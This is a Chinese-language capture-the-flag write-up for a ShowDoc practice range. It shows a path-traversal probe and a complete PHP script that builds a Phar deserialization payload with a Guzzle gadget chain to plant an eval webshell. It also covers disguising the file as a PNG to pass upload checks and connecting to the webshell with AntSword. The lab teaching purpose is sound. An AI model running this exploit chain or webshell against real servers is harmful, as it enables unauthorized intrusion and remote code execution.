非常简单的一个靶场
靶场地址:https://hack.zkaq.cn/
打开靶场,弹出了这种登录框,这也成为了后面的一个坑点,记住这个登录框。


看到了注册功能,showdoc有注册功能我们就不用尝试前台SQL注入了,直接注册就行(题目中的SQL注入多少有点滑稽..)。如果平时遇到了showdoc没有注册功能的,师傅们可以用p牛大佬的注入exp
https://github.com/vulhub/vulhub/blob/master/showdoc/3.2.5-sqli/poc.py
接着打靶,登录后台,来到文件库


尝试直接读取flag
/server/index.php?s=/../../../../flag.txt
直接爆出了绝对路径

拿我们开始准备生成Phar的脚本,exp.php:
-
<?php -
namespace GuzzleHttp\Cookie{ -
class SetCookie { -
private static $defaults = [ -
'Name' => null, -
'Value' => null, -
'Domain' => null, -
'Path' => '/', -
'Max-Age' => null, -
'Expires' => null, -
'Secure' => false, -
'Discard' => false, -
'HttpOnly' => false -
]; -
function __construct() -
{ -
$this->data['Expires'] = '<?php @eval($_POST["cmd"]);?>'; -
$this->data['Discard'] = 0; -
} -
} -
class CookieJar{ -
private $cookies = []; -
private $strictMode; -
function __construct() { -
$this->cookies[] = new SetCookie(); -
} -
} -
class FileCookieJar extends CookieJar { -
private $filename; -
private $storeSessionCookies; -
function __construct() { -
parent::__construct(); -
$this->filename = "/var/www/html/server/3.php"; -
$this->storeSessionCookies = true; -
} -
} -
} -
namespace{ -
$pop = new \GuzzleHttp\Cookie\FileCookieJar(); -
$phar = new \Phar("flag.phar"); -
$phar->startBuffering(); -
$phar->setStub('GIF89a'."__HALT_COMPILER();"); -
$phar->setMetadata($pop); -
$phar->addFromString("test.txt", "test"); -
$phar->stopBuffering(); -
}
本地启动phpstudy,把exp.php在本地环境运行

成功生成flag.php

注意:
1.制作phar包时需要修改php.ini文件如下:
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
; http://php.net/phar.require-hash
phar.require_hash = On
phar.cache_list =

然后把flag.phar文件改名为flah.png,会有文件上传检测
上传后,点击查看获取到文件路径


然后访问/server/index.php?s=home/index/new_is_writeable&file=phar://../获取到的文件路径
触发phar反序列化

成功触发页面是空白,然后访问我们写入马子的位置

成功写入木马,但是这里有些人可能会连不上木马,像这样爆红

原因就是最开始的访问网页的认证登录框,我们重新开一个浏览器对比一下登录和没有登录区别。
没有登录

登录成功

区别就是登录成功后带上了Authorization,所以我们在蚁剑中添加上这样的请求头,即可成功连接

获取flag

免 / 费 / 资 / 料: zkaq222
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法